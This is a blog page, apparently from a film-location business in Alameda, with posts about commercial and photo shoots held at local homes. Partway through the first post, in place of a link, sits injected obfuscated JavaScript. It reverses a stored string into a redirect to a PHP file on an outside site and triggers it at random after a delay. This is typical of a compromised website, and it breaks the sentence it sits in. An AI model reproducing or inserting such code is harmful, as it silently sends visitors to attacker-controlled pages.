Locations Take the Lead in Productions


Yes, the director really does say that, and those three little words elicit a round of applause on par with that heard at Davis Symphony Hall. And then it’s back to work making the location look as if the production was never there.

But everything has a beginning, and productions are no exception. So for the curious: a brief explanation we shall call The Birth of a Commercial.

A company decides to make a commercial and either has an in-house group that can produce it or, more often than not, hires an advertising agency to create a script. That agency then looks around for someone to shoot what they have written, namely a production company. In fact, more and more production companies are being hired to create the entire project from zero. Such is the talent among us. Once the idea is firmly in place,   a location is needed and that is where Alameda on Location steps in.

We field calls from location scouts and producers for all sorts of requests: do you have a tree-lined street that we can drive a bus through? Sure! Do we have an exterior fire escape that has a Brooklyn feel to it? Yep!  How about a community garden? Copy that! A coffee house? Hair Salon?$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=[“‘php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andelion-flower-shop/” target=”_blank”> A Parisian flower boutique? Of course we do! We might be an island, but we are a CITY-island first founded in 1853. With architecture spanning the decades, we’ve got what you are looking for.

And if we don’t have it then we will find it for you… and wrap THAT up for you with smile:-)


Chronicle of a still shoot

Productions involve months of planning but there are always unforeseen changes at the last minute. Take this most recent still shoot to promote Chronicle Books merchandize: the photos were supposed to depict an outside birthday party with children frolicking amongst the foliage, balloons and cupcakes in hand. But, Mother Nature killed that option around 5am when she decided that, after a month-long dry spell, the bulbs might need a little drink:-)

So, into the dining room we went even while I imagined the worse: spilled milk, hand-prints, a game of toss with my antique vase. I mean, these weren’t actors but real kids– the children of a few Chronicle Books employees with a neighbor or two thrown in. But, as usual, the day was seamless and ended with cupcakes and kisses all around. Why? Because the adults were just as flexible as the kids, moving their schedules around as needed, and keeping little ones occupied between takes.

What about you? Not intimidated by sticky fingers and a little rain? Then contact us! Because the money you make hosting a production can buy a LOT of cupcakes ….and the smiles that go with them.

Giving thanks to Toyota, one edit at a time

An editor sees errors. That’s the job. But even the editor at the SF Chronicle had to admit that the shoot last week for Toyota Nor Cal went perfectly … and that’s saying something, especially because there was a dog, a turkey, and a tight schedule in the mix. This was a one day shoot at the residence of John Diaz, the Editorial Page Editor for the Chronicle, and it was his first run-through with Alameda on Location.

Here’s what he had to say: “Sara, Thanks again for all your great work in lining up and facilitating the shoot. I thought it went well, and was overall pleased with the experience. It was fun working with you, and I hope to do so again.”  We do too!

And the commercial? It’s the one with a Thanksgiving scene in which a table is set with food and family, who leave promptly  before the pie in order to make it to the Toyota sale event. Mom gets the pie to herself … which I thought was a win-win.

Another win-win that comes to my mind? Contacting Alameda on Location.

How we ‘Dodged’ Halloween this year

IQ production company needed a home with a long driveway seen through a kitchen or living room window. They needed a porch that faced the street so they could stage a trick or treat scene. They needed a clean garage not to shoot in but to shoot from within. They needed a kitchen, a room for video village, a quiet street to block off, a busy street to shoot a night scene. They needed Caltrans approval, a place to park a process trailer and car carrier, permits and police offers. And they wanted a spot for lunch and dinner.

And why not? When you are Dodge car company the distance between desire and fulfillment can be as short as zero to 60.

It wasn’t easy but Alameda delivered the entire package in ONE week thanks to an incredibly hard-working permit department, two talented location managers (Marty Kenlon and Wilson Wu) and to Sergent Ron Simmons of the APD who often dropped everything in order to address the traffic control needs of the continually evolving shoot. The neighborhood stepped it up as well, moving their cars as requested, pausing lawn mowers while we rolled sound, and patiently waiting when traffic was blocked by the process trailer.

The City of Alameda wants your business so contact us when you are scouting your next commercial production and we will make it happen … just like we made Halloween come early this year.

Nightime at Noon

The “Think Giant” ad agency promo for Giant Ad Agency came to my home today courtesy of Sorcher Films in Mill Valley. It is night and a small boy named Jackson has snuck from his bedroom in search of pie. Downstairs in the darkness of the kitchen he finds it lonely on the table. He gets his milk and reaches not for the slice but for the whole pie because, hey, why settle for less? Thinking B.I.G. is a theme I’ve embraced fully as I’ve launched this business. BIG as in where can I donate a slice of the money pie I am making? If you have some thoughts, let me know.

In the meantime, check out these before and after shots. When a production company ‘moves in’ for the day, they move in BIG. They pay Big, too.